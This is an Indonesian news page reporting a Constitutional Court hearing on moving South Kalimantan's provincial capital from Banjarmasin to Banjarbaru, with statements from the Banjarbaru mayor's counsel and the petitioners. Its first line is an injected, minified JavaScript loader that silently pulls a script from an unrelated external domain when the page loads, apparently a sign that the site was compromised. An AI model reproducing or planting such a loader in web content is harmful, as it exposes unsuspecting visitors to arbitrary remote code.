(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sidang uji formil dan materil Undang-Undang Nomor 8 Tahun 2022 yang berisi kebijakan pemindahan Ibu Kota Provinsi (IKP) Kalimantan Selatan kini telah masuk dalam agenda ke empat di ranah Mahkamah Konstitusi.
Dalam agenda sidang yang diselenggarakan, Rabu (3/8/2022), MK menghadirkan Wali Kota Banjarbaru, Aditya Mufti Ariffin selaku pihak terkait. Melalui kuasa hukum sang Wali Kota, Dhieno Yudhistira, sejumlah pernyataan pun disampaikan kepada hakim melalui via daring.
Adapun pernyataan yang disampaikan ialah kebijakan pemindahan ibu kota Provinsi Kalsel dari Kota Banjarmasin ke Kota Banjarbaru telah terstruktur dan terencana sesuai peraturan perundang-undangan.
“Pemindahan ibu kota provinsi Kalsel ke Kota Banjarbaru telah sesuai dengan peraturan perundang-undangan yang berlaku karena telah melalui rapat-rapat yang dilakukan oleh DPR hingga persetujuan Presiden,” katanya.
Baca juga : Bupati Zairullah Hadiri Pengesahan Warga Baru PSHT Tanah Bumbu
Selain itu, Dhieno juga menegaskan bahwa Wali Kota Banjarbaru dalam tugasnya telah menyusun dan bersiap melaksanakan amanah yang diberikan melalui kebijakan Undang-Undang Nomor 8 Tahun 2022. Yakni sebagai Kepala Daerah yang kini menyandang status ibu kota Provinsi Provinsi Kalsel.
“Bapak Wali Kota Banjarbaru dalam tugasnya bersiap melaksanakan amanah Undang-Undang tersebut dengan penuh rasa tanggung jawab sesuai sumpah dan jani jabatannya. Bahkan hal ini juga telah selaras dengan visi Kota Banjarbaru, yakni Banjarbaru sebagai kota yang maju, agamis dan sejahtera,” tegasnya.
Perlu diketahui, pengujian UU Provinsi Kalsel inj berawal dari pengesahan Kota Banjarbaru sebagai Ibu Kota Provinsi Kalimantan Selatan menggantikan Kota Banjarmasin sesuai dengan UU Provinsi Kalsel.
Pada sidang terdahulu, para Pemohon Perkara Nomor 58/PUU-XX/2022 menjabarkan telah dirugikan atas keberadaan UU Provinsi Kalsel karena dalam proses pembuatan norma tersebut tidak melibatkan partisipasi masyarakat sehubungan dengan pemindahan ibu kota Kalimantan Selatan.
Baca juga : Tanam Perdana Peremajaan Sawit Rakyat, Bupati Saidi Serahkan STDB
Menurut para Pemohon, UU Provinsi Kalsel dinilai merugikan para pengusaha yang tergabung dalam Kadin Kota Banjarmasiin (Pemohon I) karena dengan rencana pemindahan ibu kota provinsi ke Kota Banjarbaru akan berdampak pada sektor ekonomi. Terutama bagi penyedia akomodasi dan usaha kuliner serta sektor konstruksi dalam penyediaan pembangunan fisik yang akan mengurangi kemajuan infrastruktur pendukung di Kota Banjarmasin. (Kanakalimantan.com/al)
Reporter : al
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.